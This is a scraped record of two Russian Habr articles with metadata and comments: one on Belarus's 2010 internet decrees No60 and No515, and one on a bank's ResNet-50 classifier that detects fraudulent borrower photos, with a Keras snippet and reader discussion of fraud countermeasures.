диалог и выслушивать интернет-сообщество. И это отмечают многие эксперты. К числу положительных изменений, к которым привел указ No50, Юрий Зиссер, генеральный директор TUT.by, относит начало ликвидации монополии Белтелекома, ориентацию на снижения тарифов на доступ в Интернет, появление на повестке дня вопросов авторского права, а также снятие ответственности с владельцев сайтов за высказывания пользователей. Но и минусов, по мнению Юрия Зиссера, у документа хватает. К их числу Зиссер относит разночтения и нечеткие формулировки, запоздалые официальные комментарии, неоднозначные подзаконные акты. Указ No60 ввел обязательную регистрацию пользователей по абонентским устройствам, интернет-ресурсов и электронных магазинов. В интернет-кафе теперь можно попасть только по удостоверению личности. В государственных органах и учреждениях введена обязательная фильтрация интернета. Эти изменения, по мнению эксперта, также стоит отнести к числу отрицательных. Как повлияет на жизнь Байнета указ No515? Указ президента No515 «О некоторых мерах по развитию сети передачи данных в Республике Беларусь» был подписан 30 сентября 2010 года. Документ инициирует реформирование единой информационной сети Беларуси. Нововведение предполагает: • создание единой республиканской сети передачи данных (ЕРСПД) • создание Национального центра обмена трафиком (НЦОТ) • назначение единого независимого регулятора — ОАЦ — который будет разрабатывать порядок и правила взаимодействия игроков рынка. В ЕРСПД в обязательном порядке войдут сети органов государственного управления, местных исполнительных органов и госорганизаций. Также в ЕРСПД автоматически будут включаться все новые или реконструируемые сети. Уже существующие сети, принадлежащие частным компаниям, могут быть включены в ЕРСПД в добровольном порядке. Предполагается, что создание единой инфраструктуры для всех провайдеров приведет к большей конкуренции на уровне сервисов и тарифных планов. На данный момент даже сами чиновники не могут дать однозначных трактовок содержащихся в указе понятий и объяснить механизм действия на практике. В этой ситуации говорить о последствиях нововведений сложно. Заместитель начальника управления электросвязи Министерства связи и информатизации Павел Петрулевич считает нововведения отправной точкой для дальнейшего развития. Сотрудник ОАЦ Сергей Кравцов также полагает, что урегулирование правоотношений даст толчок к более активному развитию Интернета. А представители телекоммуникационных компаний, на данный момент, похоже, просто хотят понять, каким образом нормы указа будут реализованы в жизнь. Вопросов на данный момент намного больше, чем ответов. Игорь Сукач, представляющий одного из крупнейших интернет-провайдеров Беларуси с 10-летним опытом работы на рынке и ассоциацию организаций информационных и коммуникационных технологий, высказал предложение законодательным органам более плотно привлекать «Белинфоком» именно на этапе подготовки документов, а не после их принятия.
<div xmlns="http://www.w3.org/1999/xhtml">В Беларуси 2010 год стал годом изменений в сфере регулирования национального сегмента Интернета. Никогда ранее не выпускалось столько указов и законов, касающихся Байнета. Самыми «громкими» из них стали указы №60 и №515. Как нововведения влияют на жизнь пользователей и игроков рынка? <br/> <br/> <a name="habracut"></a><br/> <br/> <b>Правовое регулирование Байнета: как было?</b><br/> <br/> Влияние изменений законодательства на Байнет стало предметом дискуссии в рамках секции «Правовое поле Байнета. Что нового?» на конференции «Деловой Интернет». Участие в обсуждении приняли представители оперативно-аналитического центра при Президенте (ОАЦ), министерства связи и информатизации, компании «Надежные программы» (портал TUT.by) и интернет-провайдера «Альтернативная цифровая сеть» (бренды «Атлант Телеком» и «Шпаркi Дамавiк»).<br/> <br/> Вопросы о возможности законодательного регулирования поднимались на «Деловом Интернете» еще два-три года назад. Но, как отмечает Игорь Сукач, директор компании «Альтернативная цифровая сеть», заместитель председателя ассоциации «Белинфоком», тогда никто не мог представить, что это возможно. В то время в Беларуси действовали только законы об электронном документе, об электронной подписи и о банковском праве и смежных правах.<br/> <br/> <b>Как повлиял на жизнь Байнета указ №60?</b><br/> <br/> Указ №60 от 1 февраля 2010 года «О мерах по совершенствованию использования национального сегмента сети Интернет» вступил в силу несколько месяцев назад. И уже можно наблюдать и оценивать, как он меняет сложившиеся в Байнете «правила игры».<br/> <br/> По словам Игоря Сукача, мнения об этом документе в ассоциации «Белинфоком» сразу были неоднозначными. Но авторы документа при разработке подзаконных актов учли комментарии экспертов и интернет-сообщества и нашли компромиссные решения. В результате, реализация норм закона на практике прошла достаточно гладко. <br/> <br/> При обсуждении указа №60 законодательные органы продемонстрировали готовность идти на диалог и выслушивать интернет-сообщество. И это отмечают многие эксперты.<br/> <br/> К числу положительных изменений, к которым привел указ №50, Юрий Зиссер, генеральный директор TUT.by, относит начало ликвидации монополии Белтелекома, ориентацию на снижения тарифов на доступ в Интернет, появление на повестке дня вопросов авторского права, а также снятие ответственности с владельцев сайтов за высказывания пользователей.<br/> <br/> Но и минусов, по мнению Юрия Зиссера, у документа хватает. К их числу Зиссер относит разночтения и нечеткие формулировки, запоздалые официальные комментарии, неоднозначные подзаконные акты. Указ №60 ввел обязательную регистрацию пользователей по абонентским устройствам, интернет-ресурсов и электронных магазинов. В интернет-кафе теперь можно попасть только по удостоверению личности. В государственных органах и учреждениях введена обязательная фильтрация интернета. Эти изменения, по мнению эксперта, также стоит отнести к числу отрицательных.<br/> <br/> <b>Как повлияет на жизнь Байнета указ №515?</b><br/> <br/> Указ президента №515 «О некоторых мерах по развитию сети передачи данных в Республике Беларусь» был подписан 30 сентября 2010 года. Документ инициирует реформирование единой информационной сети Беларуси. <br/> <br/> Нововведение предполагает:<br/> <br/> • создание единой республиканской сети передачи данных (ЕРСПД)<br/> • создание Национального центра обмена трафиком (НЦОТ)<br/> • назначение единого независимого регулятора — ОАЦ — который будет разрабатывать порядок и правила взаимодействия игроков рынка.<br/> <br/> В ЕРСПД в обязательном порядке войдут сети органов государственного управления, местных исполнительных органов и госорганизаций. Также в ЕРСПД автоматически будут включаться все новые или реконструируемые сети. Уже существующие сети, принадлежащие частным компаниям, могут быть включены в ЕРСПД в добровольном порядке. Предполагается, что создание единой инфраструктуры для всех провайдеров приведет к большей конкуренции на уровне сервисов и тарифных планов. <br/> <br/> На данный момент даже сами чиновники не могут дать однозначных трактовок содержащихся в указе понятий и объяснить механизм действия на практике. В этой ситуации говорить о последствиях нововведений сложно. Заместитель начальника управления электросвязи Министерства связи и информатизации Павел Петрулевич считает нововведения отправной точкой для дальнейшего развития. Сотрудник ОАЦ Сергей Кравцов также полагает, что урегулирование правоотношений даст толчок к более активному развитию Интернета. <br/> <br/> А представители телекоммуникационных компаний, на данный момент, похоже, просто хотят понять, каким образом нормы указа будут реализованы в жизнь. Вопросов на данный момент намного больше, чем ответов. Игорь Сукач, представляющий одного из крупнейших интернет-провайдеров Беларуси с 10-летним опытом работы на рынке и ассоциацию организаций информационных и коммуникационных технологий, высказал предложение законодательным органам более плотно привлекать «Белинфоком» именно на этапе подготовки документов, а не после их принятия.</div>
bizzarebee (bizzarebee)
null
null
В Беларуси 2010 год стал годом изменений в сфере регулирования национального сегмента Интернета. Никогда ранее не выпускалось столько указов и законов, касающихся Байнета. Самыми «громкими» из них стали указы №60 и №515. Как нововведения влияют на жизнь пользователей и игроков рынка? <br/> <br/>
В Беларуси 2010 год стал годом изменений в сфере регулирования национального сегмента Интернета. Никогда ранее не выпускалось столько указов и законов, касающихся Байнета. Самыми «громкими» из них стали указы No60 и No515. Как нововведения влияют на жизнь пользователей и игроков рынка?
article
1,287,406,080
{ "commentsCount": 13, "favoritesCount": 2, "readingCount": 537, "score": 15, "votesCount": 37, "votesCountPlus": 26, "votesCountMinus": 11 }
[]
[ "social_networks" ]
[ "popsci" ]
[ "байнет", "указ 60", "указ 515" ]
3
null
null
{ "id": [ 14719529, 14719531, 14719533, 14719535, 14719537, 14719539, 14719541, 14719543, 14719545, 14719547, 14719549, 14719551, 14719553 ], "parent_id": [ null, null, null, 14719531, 14719533, null, null, null, 14719529, null, null, 14719539, null ], "level": [ 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0 ], "time_published": [ 1287476349, 1287477467, 1287480789, 1287481983, 1287484653, 1287488929, 1287492064, 1287495775, 1287521081, 1287523339, 1287523730, 1287553834, 1323851144 ], "score": [ 3, 3, 3, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 3, 3, 3, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">это единственный пост о бел сети за последние несколько месяцев. скукотища :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">прошло уже столько времени, а «вопросов на данный момент намного больше, чем ответов». Может стоит уже всерьез задуматься о компетенции тех, кто принимал такие решения?! <br/>\r\nВ своем стремлении «поставить интернет на колени» белорусские власти явно переоценили свои силы и показали, что предпочитают сначала делать, а потом уже думать!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Практически одна вода…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это не переоценка сил. Дела, они для для одного(самизнаетечего), а думы уже потом над тем, как волка вырядить в овцу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ага, лучше бы написали как Открытый контакт передавал домен .by Надежным технологиям, а то я давно не в тусовке, а было бы интересно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как там говорили… «закручивает гайки» :) Пост на самом деле не о чем… Ни выводов, ничего. И вроде как и все хорошо в нашей «великолепной» стране… И Зиссер… если байнет, то только он, что за странные ассоциации? С какого времени он вдруг стал авторитетом?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Фильтрация интернета? О боже, китайская болезнь заразительна.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">и слава Богу! <br/>\r\np.s. Я белорус)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ага, хорошо монополия белтелекома закончилась — выжали всё что могли, решили раздать голодным, а сами прихватили кучу сайтов из .by в свои белорусские монопольные датацентры. уж не ради этого ли всё делалось. а документы в интернет кафе требовали предоставлять ещё леть 5-6 назад, ничего страшного в этом не вижу, хорошая преграда для дураков, а умным не помешает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ай да автор, ни одного комментария, один пост. Забавно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это неправда. В части того, что ОАЦ возглавляет сын Лукашенко. <br/>\r\nОАЦ возглавляет господин Вакульчик. С Виктором Лукашенко этот человек определенным образом связан, но все же это разные люди.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"> Коллеги!<br/>\r\n<br/>\r\nНе пропустите интересное для Web-разработчика мероприятие<br/>\r\n17 декабря 2011 года в Минске<br/>\r\n<a href=\"http://www.weborub.ru/2011-hero/\">www.weborub.ru/2011-hero/</a> </div>" ], "message_markdown": [ "это единственный пост о бел сети за последние несколько месяцев. скукотища :(", "прошло уже столько времени, а «вопросов на данный момент намного больше, чем ответов». Может стоит уже всерьез задуматься о компетенции тех, кто принимал такие решения?!\nВ своем стремлении «поставить интернет на колени» белорусские власти явно переоценили свои силы и показали, что предпочитают сначала делать, а потом уже думать!", "Практически одна вода...", "Это не переоценка сил. Дела, они для для одного(самизнаетечего), а думы уже потом над тем, как волка вырядить в овцу.", "ага, лучше бы написали как Открытый контакт передавал домен .by Надежным технологиям, а то я давно не в тусовке, а было бы интересно", "UFO just landed and posted this here", "Как там говорили... «закручивает гайки» :) Пост на самом деле не о чем... Ни выводов, ничего. И вроде как и все хорошо в нашей «великолепной» стране... И Зиссер... если байнет, то только он, что за странные ассоциации? С какого времени он вдруг стал авторитетом?", "Фильтрация интернета? О боже, китайская болезнь заразительна.", "и слава Богу!\np.s. Я белорус)", "ага, хорошо монополия белтелекома закончилась — выжали всё что могли, решили раздать голодным, а сами прихватили кучу сайтов из .by в свои белорусские монопольные датацентры. уж не ради этого ли всё делалось. а документы в интернет кафе требовали предоставлять ещё леть 5-6 назад, ничего страшного в этом не вижу, хорошая преграда для дураков, а умным не помешает.", "ай да автор, ни одного комментария, один пост. Забавно.", "Это неправда. В части того, что ОАЦ возглавляет сын Лукашенко.\nОАЦ возглавляет господин Вакульчик. С Виктором Лукашенко этот человек определенным образом связан, но все же это разные люди.", "Коллеги!\nНе пропустите интересное для Web-разработчика мероприятие\n17 декабря 2011 года в Минске\nwww.weborub.ru/2011-hero/" ], "author": [ "Николай Лапушко (dfpoint)", "SpooNesT", "Hint (Hint)", "dmomen", "Николай Лапушко (dfpoint)", "{}", "Psych0", "Станислав Малкин (anycolor)", "example", "AmdY (AmdY)", "ItGold (ItGold)", "Алексей (SobakaRU)", "phpclub (phpclub)" ], "children": [ [ 14719545 ], [ 14719535 ], [ 14719537 ], [], [], [ 14719551 ], [], [], [], [], [], [], [] ] }
432,056
ru
https://habr.com/ru/post/432056/
Верификация фотографий в ритейле с помощью Computer vision
## Вступление В рамках программы кредитования банк сотрудничает со многими розничными магазинами. Одним из ключевых элементов заявки на кредит является фотография заемщика – агент магазина-партнера фотографирует покупателя; такая фотография попадает в «личное дело» клиента и используется в дальнейшем как один из способов подтверждения его присутствия на точке в момент подачи заявки на кредит. К сожалению, всегда существует риск недобросовестного поведения агента, который может передавать в банк недостоверные фотографии – например, снимки клиентов из социальных сетей или паспорта. Обычно банки решают эту задачу с помощью верификации фотографии – сотрудники офиса просматривают фотографии и пытаются выявить недостоверные изображения. Мы захотели попробовать автоматизировать процесс и решить задачу с помощью нейросетей. ## Формализация задачи Мы исследовали только фотографии, на которых есть люди. Отсечь посторонние снимки без лиц можно с помощью открытой библиотеки Dlib. Для наглядности приведем примеры фотографий (на снимках сотрудники банка): Рис 1. Фото с точки продажи Рис 2. Фото с соцсетей Рис 3. Фото паспорта Итак, нам нужно было написать анализирующую фон фотографии модель. Результатом ее работы должно было стать определение вероятности того, что фото сделано в одной из точек продаж наших партнеров. Мы определили три способа решения этой задачи: сегментация, сравнение с другими фото в той же точке продажи, классификация. Рассмотрим каждый из них подробнее. ### А) Сегментация Первое, что пришло в голову – решать эту задачу сегментацией изображения, определяя области с фоном магазинов-партнеров. Минусы: Подготовка обучающей выборки занимает слишком много времени. Построенный на такой модели сервис не будет быстро работать. Было решено вернуться к этому методу только в случае отказа от альтернативных вариантов. Спойлер: не вернулись. ### Б) Сравнение с другими фото в той же точке продажи Вместе с фотографией к нам поступает информация о том, в каком именно розничном магазине она была сделана. То есть мы имеем группы снимков, сделанных в одинаковых точках продаж. Общее количество фотографий в каждой группе варьируется от нескольких единиц до нескольких тысяч. Появилась еще одна идея: построить модель, которая будет сравнивать две фотографии и предсказывать вероятность того, что они были сделаны в одной точке продажи. Тогда новую полученную фотографию мы сможем сравнить с имеющимися фотографиями в том же магазине. Если она окажется похожа на них, значит снимок точно достоверный. Если же снимок выбивается из общей картины, мы дополнительно отправляем его на ручную проверку. Минусы: Несбалансированная выборка. Сервис будет долго работать, если в точке продажи много фотографий. При появлении новой точки продажи нужно переобучать модель. Несмотря на минусы, мы реализовали модель из статьи, использовав блоки нейросетей VGG-16 и ResNet-50. И... получили процент правильных ответов не сильно выше 50% в обоих случаях :( ### В) Классификация! Самой заманчивой была идея сделать простой классификатор, который будет делить фотографии на 3 группы: фото с точек продаж, с паспортов и из соцсетей. Осталось только проверить, сработает ли этот подход. Ну и еще потратить немного времени на подготовку данных для обучения. #### Подготовка данных В датасете изображений из соцсетей с помощью библиотеки Dlib выбрали только те фото, на которых есть люди. Снимки паспортов необходимо было по-разному обрезать, оставив только лицо. Тут на помощь снова пришла Dlib. Принцип работы получился таким: нашли с помощью этой библиотеки координаты лица -> обрезали фото паспорта, оставляя лицо. В каждом из 3 классов оставили по 40 000 фото. Не забыли и про аугментацию данных #### Модель Использовали ResNet-50. Решали проблему как задачу многоклассовой классификации с непересекающимися классами. То есть считали, что фото может принадлежать только одному классу. [code] model = keras.applications.resnet50.ResNet50() model.layers.pop() for layer in model.layers: layer.trainable=True last = model.layers[-1].output x = Dense(3, activation="softmax")(last) resnet50_1 = Model(model.input, x) resnet50_1.compile(optimizer=Adam(lr=0.00001), loss='categorical_crossentropy', metrics=[ 'accuracy']) [/code] #### Результаты В тестовой выборке оставили 24 000 картинок, то есть 20%. Матрица ошибок выглядела следующим образом: social net — соцсети; passport — паспорта; pos-credit – точки продаж-партнеры, которые осуществляют кредитование. Общий процент ошибок – 1,6 %, для фотографий с точек продаж – 1,2 %. Большая часть ошибочно определенных снимков – похожие на два класса одновременно изображения. Например, почти все неверно определенные фотографии из класса pos-credit были сделаны в неудачных ракурсах (на фоне белой стены, видно только лицо). Поэтому они были похожи еще и на фото из класса social net. Такие фотографии имели низкую максимальную вероятность. Мы добавили порог для максимальной вероятности. Если итоговое значение оказывается выше – мы доверяем классификатору, ниже – отправляем картинку на ручную проверку. В итоге, результат работы сервиса для фотографии выглядит следующим образом: ## Итоги Так, с помощью простой модели мы научились автоматически определять, что фотография сделана в одной из точек продаж наших партнеров. Это позволило автоматизировать часть большого процесса по одобрению заявки на кредит.
<div xmlns="http://www.w3.org/1999/xhtml"><h2>Вступление</h2><br/> В рамках программы кредитования банк сотрудничает со многими розничными магазинами.<br/> Одним из ключевых элементов заявки на кредит является фотография заемщика – агент магазина-партнера фотографирует покупателя; такая фотография попадает в «личное дело» клиента и используется в дальнейшем как один из способов подтверждения его присутствия на точке в момент подачи заявки на кредит.<br/> <br/> К сожалению, всегда существует риск недобросовестного поведения агента, который может передавать в банк недостоверные фотографии – например, снимки клиентов из социальных сетей или паспорта.<br/> <br/> Обычно банки решают эту задачу с помощью верификации фотографии – сотрудники офиса просматривают фотографии и пытаются выявить недостоверные изображения.<br/> Мы захотели попробовать автоматизировать процесс и решить задачу с помощью нейросетей.<br/> <a name="habracut"></a><br/> <h2>Формализация задачи</h2><br/> Мы исследовали только фотографии, на которых есть люди. Отсечь посторонние снимки без лиц можно с помощью открытой библиотеки <a href="http://dlib.net/face_recognition.py.html">Dlib</a>.<br/> <br/> Для наглядности приведем примеры фотографий (на снимках сотрудники банка): <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/qj/c1/al/qjc1alaw2gwuqpnrmqmjj6qj1xk.jpeg" alt="image" data-src="https://habrastorage.org/webt/qj/c1/al/qjc1alaw2gwuqpnrmqmjj6qj1xk.jpeg" data-blurred="true"/><br/> <i>Рис 1. Фото с точки продажи</i><br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/rk/gm/xj/rkgmxjwzo50jn32bwysbu8xkxqo.png" alt="image" data-src="https://habrastorage.org/webt/rk/gm/xj/rkgmxjwzo50jn32bwysbu8xkxqo.png"/><br/> <i>Рис 2. Фото с соцсетей</i><br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/je/24/6a/je246aabvz08pqfnd9jticzlaqc.png" alt="image" data-src="https://habrastorage.org/webt/je/24/6a/je246aabvz08pqfnd9jticzlaqc.png"/><br/> <i>Рис 3. Фото паспорта</i><br/> <br/> Итак, нам нужно было написать анализирующую фон фотографии модель. Результатом ее работы должно было стать определение вероятности того, что фото сделано в одной из точек продаж наших партнеров. Мы определили три способа решения этой задачи: сегментация, сравнение с другими фото в той же точке продажи, классификация. Рассмотрим каждый из них подробнее.<br/> <br/> <h3> А) Сегментация</h3><br/> Первое, что пришло в голову – решать эту задачу сегментацией изображения, определяя области с фоном магазинов-партнеров. <br/> <br/> Минусы: <br/> <br/> <ul> <li>Подготовка обучающей выборки занимает слишком много времени.</li> <li>Построенный на такой модели сервис не будет быстро работать.</li> </ul><br/> Было решено вернуться к этому методу только в случае отказа от альтернативных вариантов. Спойлер: не вернулись. <br/> <br/> <h3>Б) Сравнение с другими фото в той же точке продажи</h3><br/> Вместе с фотографией к нам поступает информация о том, в каком именно розничном магазине она была сделана. То есть мы имеем группы снимков, сделанных в одинаковых точках продаж. Общее количество фотографий в каждой группе варьируется от нескольких единиц до нескольких тысяч.<br/> <br/> Появилась еще одна идея: построить модель, которая будет сравнивать две фотографии и предсказывать вероятность того, что они были сделаны в одной точке продажи. Тогда новую полученную фотографию мы сможем сравнить с имеющимися фотографиями в том же магазине. Если она окажется похожа на них, значит снимок точно достоверный. Если же снимок выбивается из общей картины, мы дополнительно отправляем его на ручную проверку. <br/> <br/> Минусы: <br/> <br/> <ul> <li>Несбалансированная выборка.</li> <li>Сервис будет долго работать, если в точке продажи много фотографий.</li> <li>При появлении новой точки продажи нужно переобучать модель.</li> </ul><br/> Несмотря на минусы, мы реализовали модель из <a href="https://arxiv.org/abs/1504.03641">статьи</a>, использовав блоки нейросетей VGG-16 и ResNet-50. И… получили процент правильных ответов не сильно выше 50% в обоих случаях :( <br/> <br/> <h3>В) Классификация!</h3><br/> Самой заманчивой была идея сделать простой классификатор, который будет делить фотографии на 3 группы: фото с точек продаж, с паспортов и из соцсетей. Осталось только проверить, сработает ли этот подход. Ну и еще потратить немного времени на подготовку данных для обучения.<br/> <br/> <h4>Подготовка данных</h4><br/> В датасете изображений из соцсетей с помощью библиотеки Dlib выбрали только те фото, на которых есть люди.<br/> <br/> Снимки паспортов необходимо было по-разному обрезать, оставив только лицо. Тут на помощь снова пришла Dlib. Принцип работы получился таким: нашли с помощью этой библиотеки координаты лица -> обрезали фото паспорта, оставляя лицо. <br/> <br/> В каждом из 3 классов оставили по 40 000 фото. Не забыли и про <a href="https://habr.com/company/smartengines/blog/264677/).">аугментацию данных</a><br/> <br/> <h4>Модель</h4><br/> Использовали ResNet-50. Решали проблему как задачу многоклассовой классификации с непересекающимися классами. То есть считали, что фото может принадлежать только одному классу.<br/> <br/> <pre><code class="python">model = keras.applications.resnet50.ResNet50() model.layers.pop() for layer in model.layers: layer.trainable=True last = model.layers[-1].output x = Dense(3, activation="softmax")(last) resnet50_1 = Model(model.input, x) resnet50_1.compile(optimizer=Adam(lr=0.00001), loss='categorical_crossentropy', metrics=[ 'accuracy']) </code></pre><br/> <h4>Результаты </h4><br/> В тестовой выборке оставили 24 000 картинок, то есть 20%. Матрица ошибок выглядела следующим образом:<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/f3/tj/yo/f3tjyoolgulbx3prlydnbbptf0i.png" alt="image" data-src="https://habrastorage.org/webt/f3/tj/yo/f3tjyoolgulbx3prlydnbbptf0i.png"/><br/> social net — соцсети;<br/> passport — паспорта;<br/> pos-credit – точки продаж-партнеры, которые осуществляют кредитование.<br/> <br/> Общий процент ошибок – 1,6 %, для фотографий с точек продаж – 1,2 %. Большая часть ошибочно определенных снимков – похожие на два класса одновременно изображения. Например, почти все неверно определенные фотографии из класса pos-credit были сделаны в неудачных ракурсах (на фоне белой стены, видно только лицо). Поэтому они были похожи еще и на фото из класса social net. Такие фотографии имели низкую максимальную вероятность. <br/> Мы добавили порог для максимальной вероятности. Если итоговое значение оказывается выше – мы доверяем классификатору, ниже – отправляем картинку на ручную проверку. <br/> <br/> В итоге, результат работы сервиса для фотографии<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/gx/b8/2y/gxb82yxdld7qdjsibuaccnjcqxs.jpeg" alt="image" data-src="https://habrastorage.org/webt/gx/b8/2y/gxb82yxdld7qdjsibuaccnjcqxs.jpeg" data-blurred="true"/><br/> <br/> выглядит следующим образом:<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/iw/kb/iz/iwkbizeyoq-vnvruacwqpf36nv0.png" alt="image" data-src="https://habrastorage.org/webt/iw/kb/iz/iwkbizeyoq-vnvruacwqpf36nv0.png"/><br/> <br/> <h2>Итоги</h2><br/> Так, с помощью простой модели мы научились автоматически определять, что фотография сделана в одной из точек продаж наших партнеров. Это позволило автоматизировать часть большого процесса по одобрению заявки на кредит.</div>
Александра Миночкина (alex_minochkina)
null
null
<h2>Вступление</h2><br> В рамках программы кредитования банк сотрудничает со многими розничными магазинами.<br> Одним из ключевых элементов заявки на кредит является фотография заемщика – агент магазина-партнера фотографирует покупателя; такая фотография попадает в «личное дело» клиента и используется в дальнейшем как один из способов подтверждения его присутствия на точке в момент подачи заявки на кредит.<br> <br> К сожалению, всегда существует риск недобросовестного поведения агента, который может передавать в банк недостоверные фотографии – например, снимки клиентов из социальных сетей или паспорта.<br> <br> Обычно банки решают эту задачу с помощью верификации фотографии – сотрудники офиса просматривают фотографии и пытаются выявить недостоверные изображения.<br> Мы захотели попробовать автоматизировать процесс и решить задачу с помощью нейросетей.<br>
## Вступление В рамках программы кредитования банк сотрудничает со многими розничными магазинами. Одним из ключевых элементов заявки на кредит является фотография заемщика – агент магазина-партнера фотографирует покупателя; такая фотография попадает в «личное дело» клиента и используется в дальнейшем как один из способов подтверждения его присутствия на точке в момент подачи заявки на кредит. К сожалению, всегда существует риск недобросовестного поведения агента, который может передавать в банк недостоверные фотографии – например, снимки клиентов из социальных сетей или паспорта. Обычно банки решают эту задачу с помощью верификации фотографии – сотрудники офиса просматривают фотографии и пытаются выявить недостоверные изображения. Мы захотели попробовать автоматизировать процесс и решить задачу с помощью нейросетей.
article
1,545,151,652
{ "commentsCount": 15, "favoritesCount": 30, "readingCount": 7063, "score": 22, "votesCount": 26, "votesCountPlus": 24, "votesCountMinus": 2 }
[]
[ "tinkoff", "image_processing", "machine_learning" ]
[ "develop" ]
[ "computer vision", "глубокое обучение", "верификация" ]
4
null
null
{ "id": [ 19519358, 19519548, 19520244, 19520254, 19520268, 19521628, 19521674, 19522656, 19522944, 19523454, 19524428, 19525224, 19527276, 19527442, 19543056 ], "parent_id": [ null, 19519358, null, 19520244, 19520254, 19520244, 19520268, null, 19522656, 19522944, null, 19522656, 19523454, 19524428, 19527442 ], "level": [ 0, 1, 0, 1, 2, 1, 3, 0, 1, 2, 0, 1, 3, 1, 2 ], "time_published": [ 1545162692, 1545166193, 1545193606, 1545193783, 1545194564, 1545213050, 1545213480, 1545221991, 1545224511, 1545228665, 1545241932, 1545257349, 1545298448, 1545299279, 1545658300 ], "score": [ 2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0 ], "votes": [ 2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">А нельзя ли было повысить точность, например, анализом метаданных снимка: отсутствие наличие exif, разрешение фото, отсутствие меток фоторедактора, наличие GPS данных (если фото с телефона) и тд?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Метаданные анализируем в первую очередь. Если с ними что-то не так, то отправляем фото на ручную проверку. Если все в порядке, то уже используем нейросети</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А были еще идеи решить данную проблему, расскажите о них? Как вообще реализована загрузка фото? Может стоит проверять не только результат работы(фотографию) а поработать над самим процессом (момент создания фото/загрузки). Например сделать утилиту(функционал в ЛК) что позволит работать только с веб-камерой и будет клеить некий уникальный Watermark? В общем убрать саму возможность загрузки RandomName.jpg. <br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что помешает сделать фото фотографии?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ничего. Так же как ничего не мешает загрузить файл фото более менее похожий на фото сделанное из офиса. Я в комменте выше скорее хотел донести мысль рассказать подробное как организован сам процесс, что заодно поможет избежать миллиона советов в комментах) <br/>\r\nДа и в данном случае на мой взгляд нужен комплекс мер как программных так и организационных.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Конечно, мы думали о работе над самим процессом. Просто проблема в том, что мы не всегда можем над ним работать) Например, если брокер, в котором сотрудники заполняют заявки — внешний, то мы можем лишь высказывать пожелания по его работе(мы же просто один из банков-потребителей), а реализация будет зависеть от желания торговой сети, которая управляет брокером.<br/>\r\nВ итоге обычно проще реализовать проверки на своей стороне; управлять ими в таком случае намного удобнее и быстрее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Комплекс мер и есть на самом деле.<br/>\r\nСаша просто рассказала про одну из мер, а есть еще много чего — анализ данных заявки, поиск аномалий в этих данных, биометрия и т.д.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что мешает требовать фотографировать клиентов с какой нибудь табличкой, листочком с кодом, договором, в опеределенном ракурсе и т.д.?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы не можем требовать от партнеров что-либо, можем только предлагать. Заявка на кредит с фото рассылается в несколько банков, не только в Тинькофф. То есть у партнера есть альтернативы, поэтому он может отказаться от наших пожеланий</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Понятно, потеряете партнеров со своими «хотелками»…<br/>\r\nНо, если установка каких-либо дополнительных требований к фото может помочь то:<br/>\r\nВ итоге, другие банки ищут/не_ищут <u>свой</u> способ борьбы с этой проблемой, вместо объединения усилий?:)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что если обманщик сфотографирует пустой фон в точке продаж, возьмёт фото из соцсети/паспорта, вырежет человека и вставит в фон? Какой результат выдаст нейросеть?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Когда я получал Тинькоф карту, меня как раз сфотографировали с документами и с определенным ракурсом</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Но, если установка каких-либо дополнительных требований к фото может помочь то</blockquote><br/>\r\nМожно еще давать клиенту табличу «Я <s>дур..</s> беру кредит на дорогой телефон», надевать на клиента шапочку из фольги, поставив его на одну ногу.<br/>\r\nПричем на государственном уровне внести требование.<br/>\r\nТогда можно усложнить жизнь мошенникам, и помочь человеку одуматься перед тем как влезать в долги<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">тоже интересно<br/>\r\nСтатья конечно крутая, но обработкой фото сейчас уже никого не удивить<br/>\r\n<blockquote>Одним из ключевых элементов заявки на кредит является фотография заемщика – агент магазина-партнера фотографирует покупателя; такая фотография попадает в «личное дело» клиента и используется в дальнейшем как один из способов подтверждения его присутствия на точке в момент подачи заявки на кредит.</blockquote><br/>\r\nПравда? это же печально, что уже подметили все комментаторы<br/>\r\n<br/>\r\nВ современном мире фотография становится таким себе доказательством<br/>\r\nИнструментов обработки масса, фотки люди сами выкладывают<br/>\r\n<br/>\r\nДа и при оформлении sim-ки в салоне партнера можно скоммунздить все паспортные данные и оформить заявку<br/>\r\nА сфоткать под предлогом теста камеры супер-нового телефона.</div>", "<div 